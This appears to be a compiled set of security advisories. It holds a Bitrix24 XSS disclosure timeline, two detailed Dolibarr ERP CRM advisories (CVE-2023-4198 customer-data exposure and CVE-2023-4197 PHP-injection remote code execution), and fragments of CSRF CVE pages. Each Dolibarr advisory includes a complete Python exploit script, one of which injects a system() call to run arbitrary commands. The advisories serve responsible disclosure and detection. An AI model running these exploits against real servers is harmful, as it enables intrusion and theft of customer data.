*   2023-03-21 Email to \[email protected\]
*   2023-03-21 Email to \[email protected\]
*   2023-03-24 Got reply from \[email protected\], they asked us to email to \[email protected\] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
*   2023-03-29 Emailed to \[redacted\], \[redacted\] & \[redacted\]. Team member found the 3 email addresses via an \[USA bug bounty platform\]
*   2023-03-30 \[redacted\] replied to us
*   2023-03-31 \[redacted\] wanted us to report the bugs via that \[USA bug bounty platform\]
*   2023-03-31 Emailed back to \[redacted\] that we are unable to do so because it’s a private program in that \[USA bug bounty platform\]
*   2023-03-31 \[redacted\] emailed back with the invite
*   2023-03-31 Submitted the reports via that \[USA bug bounty platform\]
*   2023-03-31 Informed \[redacted\] again that we are unable to report all the bugs due to \[blah blah blah Requirements\]
*   2023-04-03 \[redacted\] replied that they had remove the \[blah blah blah Requirements\] limitations for us
*   2023-04-04 We submitted the final 2 reports
*   2023-06-21 \[redacted\] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on \[USA bug bounty platform\] instead of CVE publishing. Please let me know what do you think about that.”
*   2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
*   2023-09-22 \[redacted\] finally replied asking us if we are agreeable to publish the CVE in November 2023
*   2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
*   2023-09-22 \[redacted\] accepted the date
*   2023-11-01 Public Release

CVE-2023-1720: (CVE-2023-1720) Bitrix24 Stored Cross-Site Scripting (XSS) via File Upload

Improper Access Control in Dolibarr ERP CRM <= v17.0.3 allows an unauthorized authenticated user to read a database table containing customer data

**Summary:**

**Product**

Dolibarr ERP CRM

**Vendor**

Dolibarr

**Severity**

High

**Affected Versions**

<= 17.0.3

**Tested Versions**

17.0.1, 17.0.3

**CVE Identifier**

CVE-2023-4198

**CVE Description**

Improper Access Control in Dolibarr ERP CRM v17.0.3 allows unauthorized users to read a database table containing sensitive third-party customers’ information via the ajaxcompanies.php endpoint.

**CWE Classification(s)**

CWE-862 Missing Authorization

**CAPEC Classification(s)**

CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs

**CVSS3.1 Scoring System:**

**Base Score:** 6.5 (Medium)  
**Vector String:** CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

Low

**Privileges Required (PR)**

Low

**User Interaction (UI)**

None

**Scope (S)**

Unchanged

**Confidentiality (C)**

High

**Integrity (I)**

None

**Availability (A)**

None

**Product Overview:**

Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.

Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.

**Vulnerability Summary:**

Authorization checks were found to be missing as any authenticated user is able to list the details of all third-party customers stored in the database table societe, despite not having the required permissions to do so. This table contains sensitive data such as the third-party customers’ address, ZIP and town name.

**Vulnerability Details:**

The vulnerability is found at the /core/ajax/ajaxcompanies.php endpoint. It can be observed that no authorisation checks are performed, even though the application has the option to configure access control for each AJAX endpoint. The affected code can be found below:

    // /core/ajax/ajaxcompanies.php
    
    $socid = $_GET['newcompany'] ? $_GET['newcompany'] : '';
    // ...
    $sql .= "s.nom LIKE '%".$db->escape($socid)."%'";
    $sql .= " OR s.code_client LIKE '%".$db->escape($socid)."%'";
    $sql .= " OR s.code_fournisseur LIKE '%".$db->escape($socid)."%'";
    

Additionally, since the SQL query is formed by concatenating user-input in the LIKE clause, listing every row can be done by injecting % as the input. In order to exploit the vulnerability, the adversary must first be authenticated with any account. Then, access the vulnerable page by sending a GET request to:

http://TARGET_SERVER/core/ajax/ajaxcompanies.php?newcompany=%

**Exploit Conditions:**

This vulnerability can be exploited by having access to a low-privilege user account.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

    # Dolibarr ERP CRM (<= v17.0.3) Improper Access Control Vulnerability (CVE-2023-4198)
    # Via: https://TARGET_HOST/core/ajax/ajaxcompanies.php
    # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import json
    import re
    import requests
    import sys
    requests.packages.urllib3.disable_warnings()
    
    s = requests.Session()
    
    def check_args():
        global target, username, password, cmd
    
        print("\n===== Dolibarr ERP CRM (<= v17.0.3) Improper Access Control Vulnerability (CVE-2023-4198) =====\n")
    
        if len(sys.argv) != 4:
            print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD".format(sys.argv[0]))
            sys.exit(1)
    
        target = sys.argv[1].strip("/")
        username = sys.argv[2]
        password = sys.argv[3]
    
    def authenticate():
        global s, csrf_token
    
        print("[+] Attempting to authenticate...")
    
        # GET the CSRF token
        res = s.get(f"{target}/", verify=False)
        csrf_token = re.search("\"anti-csrf-newtoken\" content=\"(.+)\"", res.text).group(1).strip()
    
        # Login
        data = {
            "token": csrf_token,
            "username": username,
            "password": password,
            "actionlogin": "login"
        }
        res = s.post(f"{target}/", data=data, verify=False)
    
        if "Logout" not in res.text:
            print("[!] Authentication failed! Are the credentials valid?")
            sys.exit(1)
        else:
            print("[+] Authenticated successfully!")
    
    def dump_table():
        # Dump the third-party customers table
        print("[+] Dumping third-party customers table (societe)...")
        res = s.get(f"{target}/core/ajax/ajaxcompanies.php?newcompany=%", verify=False, proxies={'http':'127.0.0.1:8080'})
        if res.status_code != 200:
            print("[!] Endpoint unreachable! Is the URL correct?")
            sys.exit(1)
        else:
            output = json.loads(res.text)
            print(f"[+] Output of societe table:\n\n{output}")
    
    def main():
        check_args()
        authenticate()
        dump_table()
    
    if __name__ == "__main__":
        main()
    

**Suggested Mitigations:**

Update the Dolibarr installation to the latest version as shown from the official repository releases page.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by checking the server’s access logs to see if there were any requests made to /core/ajax/ajaxcompanies.php, and inspecting the value of the newcompany parameter of these requests.

**Credits:**

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline:**

*   2023-09-04 Reported vulnerability to Dolibarr owner
*   2023-09-05 Dolibarr owner mentioned that the endpoint has been removed since v18.0.0
*   2023-11-01 Public Release

CVE-2023-4198: (CVE-2023-4198) Dolibarr ERP CRM (

Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.

**Summary:**

**Product**

Dolibarr ERP CRM

**Vendor**

Dolibarr

**Severity**

High

**Affected Versions**

<= 18.0.1

**Tested Versions**

17.0.1, 18.0.1

**CVE Identifier**

CVE-2023-4197

**CVE Description**

Improper input validation in Dolibarr ERP CRM <= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.

**CWE Classification(s)**

CWE-20: Improper Input Validation

**CAPEC Classification(s)**

CAPEC-248 Command Injection CAPEC-153: Input Data Manipulation

**CVSS3.1 Scoring System:**

**Base Score:** 7.5 (High)  
**Vector String:** CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

**Metric**

**Value**

**Attack Vector (AV)**

Network

**Attack Complexity (AC)**

High

**Privileges Required (PR)**

Low

**User Interaction (UI)**

None

**Scope (S)**

Unchanged

**Confidentiality (C)**

High

**Integrity (I)**

High

**Availability (A)**

High

**Product Overview:**

Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.

Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.

**Vulnerability Summary:**

Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <?php and <?=, allowing usage of the <? short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.

**Vulnerability Details:**

There are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.

The vulnerable code can be found in the function dolKeepOnlyPhpCode(), inside the /core/lib/website.lib.php file. where no checking for the <? tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.

    /core/lib/website.lib.php:
    <?php
    
    function dolKeepOnlyPhpCode($str)
    {
        $str = str_replace('<?=', '<?php', $str);
    
        $newstr = '';
    
        // Split on each opening tag
        //$parts = explode('<?php', $str);
        $parts = preg_split('/'.preg_quote('<?php', '/').'/i', $str);
    
        if (!empty($parts)) {
            $i = 0;
            foreach ($parts as $part) {
                if ($i == 0) {  // The first part is never php code
                    $i++;
                    continue;
                }
                $newstr .= '<?php';
                //split on closing tag
                $partlings = explode('?>', $part, 2);
                if (!empty($partlings)) {
                    $newstr .= $partlings[0].'?>';
                } else {
                    $newstr .= $part.'?>';
                }
            }
        }
        return $newstr;
    }
    

This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of <?= with <?php and subsequently all <?php tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.

In order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the <? tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. system()). After the web page is modified successfully, previewing the updated page would trigger the RCE:

**Exploit Conditions:**

This vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.

**Proof-of-Concept:**

We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:

    # Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197)
    # Via: https://TARGET_HOST/website/index.php
    # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)
    
    #!/usr/bin/env python3
    import os
    import re
    import requests
    import sys
    import uuid
    requests.packages.urllib3.disable_warnings()
    
    s = requests.Session()
    
    def check_args():
        global target, username, password, cmd
    
        print("\n===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====\n")
    
        if len(sys.argv) != 5:
            print("[!] Please enter the required arguments like so: python3 {} https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE".format(sys.argv[0]))
            sys.exit(1)
    
        target = sys.argv[1].strip("/")
        username = sys.argv[2]
        password = sys.argv[3]
        cmd = sys.argv[4]
    
    def authenticate():
        global s, csrf_token
    
        print("[+] Attempting to authenticate...")
    
        # GET the CSRF token
        res = s.get(f"{target}/", verify=False)
        csrf_token = re.search("\"anti-csrf-newtoken\" content=\"(.+)\"", res.text).group(1).strip()
    
        # Login
        data = {
            "token": csrf_token,
            "username": username,
            "password": password,
            "actionlogin": "login"
        }
        res = s.post(f"{target}/", data=data, verify=False)
    
        if "Logout" not in res.text:
            print("[!] Authentication failed! Are the credentials valid?")
            sys.exit(1)
        else:
            print("[+] Authenticated successfully!")
    
    def rce():
        # Create web site
        print("[+] Attempting to create a website...")
        website_name = uuid.uuid4().hex
        data = {
            "WEBSITE_REF": website_name,
            "token": csrf_token,
            "action": "addsite",
            "WEBSITE_LANG": "en",
            "addcontainer": "create"
        }
        res = s.post(f"{target}/website/index.php", data=data, verify=False)
        if f"Website - {website_name}" not in res.text:
            print("[!] Website creation failed!")
            sys.exit(1)
        else:
            print(f"[+] Created website name: \"{website_name}\"!")
    
        # Create web page
        print("[+] Attempting to create a web page...")
        webpage_name = uuid.uuid4().hex
        data = {
            "website": website_name,
            "token": csrf_token,
            "action": "addcontainer",
            "WEBSITE_TYPE_CONTAINER": "page",
            "WEBSITE_TITLE": "x",
            "WEBSITE_PAGENAME": webpage_name
        }
        res = s.post(f"{target}/website/index.php", data=data, verify=False)
        if f"Contenair \\'{webpage_name}\\' added" not in res.text:
            print("[!] Web page creation failed!")
            sys.exit(1)
        else:
            print(f"[+] Created web page name: \"{webpage_name}\"!")
    
        # Modify created page
        print("[+] Attempting to modify the web page...")
        webpage_id = re.search(f"<option value=\"(.+)\" .+{webpage_name}", res.text).group(1).strip()
        data = {
            "website": website_name,
            "WEBSITE_PAGENAME": webpage_name,
            "pageid": webpage_id,
            "token": csrf_token,
            "action": "updatemeta",
            "htmlheader": f"<? echo system('{cmd}'); ?>"
        }
        res = s.post(f"{target}/website/index.php", data=data, verify=False)
        if "Saved" not in res.text:
            print("[!] Web page modification failed!")
            sys.exit(1)
        else:
            print("[+] Web page modified successfully!")      
    
        # Trigger RCE
        print(f"[+] Triggering RCE now via: {target}/public/website/index.php?website={website_name}&pageref={webpage_name}")
        res = s.get(f"{target}/public/website/index.php?website={website_name}&pageref={webpage_name}", verify=False)
        if res.status_code != 200:
            print("[!] Web page is not reachable!")
            sys.exit(1)
        else:
            output = re.findall("block -->\n(.+)</head>", res.text, re.MULTILINE | re.DOTALL)[0].strip()
            print(f"[+] RCE successful! Output of command:\n\n{output}")
    
    def main():
        check_args()
        authenticate()
        rce()
    
    if __name__ == "__main__":
        main()
    

**Suggested Mitigations:**

Update the Dolibarr installation to the latest version as shown from the official repository releases page.

**Detection Guidance:**

It is possible to detect the exploitation of this vulnerability by checking the /document/ directory (default upload directory) to see if there are any .tpl files containing <? tags, and further inspecting the code contained within.

**Credits:**

Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs\_sg)

**Timeline:**

*   2023-09-04 Reported vulnerability to Dolibarr owner
*   2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch commit. Also mentioned that it will be in the next release
*   2023-10-11 New version containing patch released
*   2023-11-01 Public Release

CVE-2023-4197: (CVE-2023-4197) Dolibarr ERP CRM (

Cross-Site Request Forgery (CSRF) in GitHub repository pkp/customLocale prior to 1.2.0-1.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2023-5897: https://github.com/pkp/customLocale/issues/27 Add CSRF checking · pkp/customLocale@407ba30

Cross-Site Request Forgery (CSRF) in GitHub repository pkp/pkp-lib prior to 3.3.0-16.

Tag

#csrf